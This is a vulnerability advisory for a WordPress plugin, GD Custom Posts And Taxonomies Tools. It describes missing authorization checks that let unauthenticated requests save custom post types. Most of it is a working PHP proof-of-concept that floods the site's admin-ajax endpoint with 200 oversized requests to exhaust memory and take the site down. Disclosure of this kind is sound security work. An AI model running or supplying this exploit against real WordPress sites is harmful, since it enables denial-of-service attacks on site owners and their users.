GD Custom Posts And Taxonomies Tools [DoS]

GD Custom Posts And Taxonomies Tools suffers from a Denial of Service vulnerability

Description

GD Custom Posts And Taxonomies Tools plugin for WordPress suffers from a Denial of Service vulnerability.

Plugin doesn’t implement security checks for saving options, custom post types and taxonomies, actions that would normally require a user with administrative rights. In addition the GD Custom Posts And Taxonomies Tools plugin loads all custom post types upon initialization to the GDTaxonomiesTools::p property.

An attacker could perform a series of requests to store custom post types with arbitrary data. This in turn can lead to a Denial of Service situation where server kills the script because it uses more memory than it is allowed.

PoC

The following script will perform 200 request. Each request, if successfull will fill the GDTaxonomiesTools::p array with about 0.2MB of arbitrary data so the total size of GDTaxonomiesTools::p would be around 40MB, just enough to cause a DoS to a non multisite installation.

#!/bin/env php
<?php
/*******************************************************************************
 * GD Custom Posts And Taxonomies Tools - DoS
 *
 * Author: Pan Vag <[email protected]>
 * Dependencies: Requests for PHP - http://requests.ryanmccue.info/
 ******************************************************************************/
require_once 'vendor/autoload.php';

$baseUrl = 'http://wp1.dev';
$ajaxUrl = $baseUrl . '/wp-admin/admin-ajax.php?action=fake';

$c = 200;

echo "[!] Performing {$c} requests with fuzzy data to {$baseUrl}" . PHP_EOL;

for ( $i = 0; $i < $c; $i++ ) {
    $rndStr   = generateRandomString( 127 );
    $supports = array_fill( 0, 128, $rndStr );

    $data = [
        'cpt[id]'                         => 0,
        'cpt[name]'                       => $rndStr,
        'cpt[menu_position]'              => $rndStr,
        'cpt[active]'                     => 'on',
        'cpt[labels][name]'               => $rndStr,
        'cpt[labels][singular_name]'      => $rndStr,
        'cpt[labels][add_new]'            => $rndStr,
        'cpt[labels][add_new_item]'       => $rndStr,
        'cpt[labels][edit_item]'          => $rndStr,
        'cpt[labels][new_item]'           => $rndStr,
        'cpt[labels][view_item]'          => $rndStr,
        'cpt[labels][search_items]'       => $rndStr,
        'cpt[labels][not_found]'          => $rndStr,
        'cpt[labels][not_found_in_trash]' => $rndStr,
        'cpt[labels][parent_item_colon]'  => $rndStr,
        'cpt[labels][menu_name]'          => $rndStr,
        'cpt[labels][all_items]'          => $rndStr,
        'cpt[supports][]'                 => $supports,
        "cpt[taxonomies][]"               => $supports,
        'cpt[caps_type]'                  => $rndStr,
        'cpt[query]'                      => 'yes',
        'cpt[rewrite]'                    => 'yes',
        'cpt[archive]'                    => 'yes_name',
        'cpt[public]'                     => 'yes',
        'cpt[ui]'                         => 'yes',
        'cpt[show_in_menu]'               => 'yes',
        'cpt[show_in_admin_bar]'          => 'yes',
        'cpt[publicly_queryable]'         => 'yes',
        'cpt[nav_menus]'                  => 'yes',
        'cpt[hierarchy]'                  => 'no',
        'cpt[exclude_from_search]'        => 'no',
        'cpt[can_export]'                 => 'yes',
        'cpt[capabilites]'                => 'type',
        'gdtt_savecpt'                    => 'Save Custom Post',
    ];

    $r = Requests::post( $ajaxUrl, [ ], $data, ['timeout' => 30, 'follow_redirects' => false] );

    echo "[!] Request {$i} was returned status code {$r->status_code}" . PHP_EOL;
}

function generateRandomString( $length = 10 ) {
    $characters       = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen( $characters );
    $randomString     = '';
    for ( $i = 0; $i < $length; $i++ ) {
        $randomString .= $characters[ rand( 0, $charactersLength - 1 ) ];
    }

    return $randomString;
}

echo '[!] Exlpoitation complete' . PHP_EOL;

exit( 0 );

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX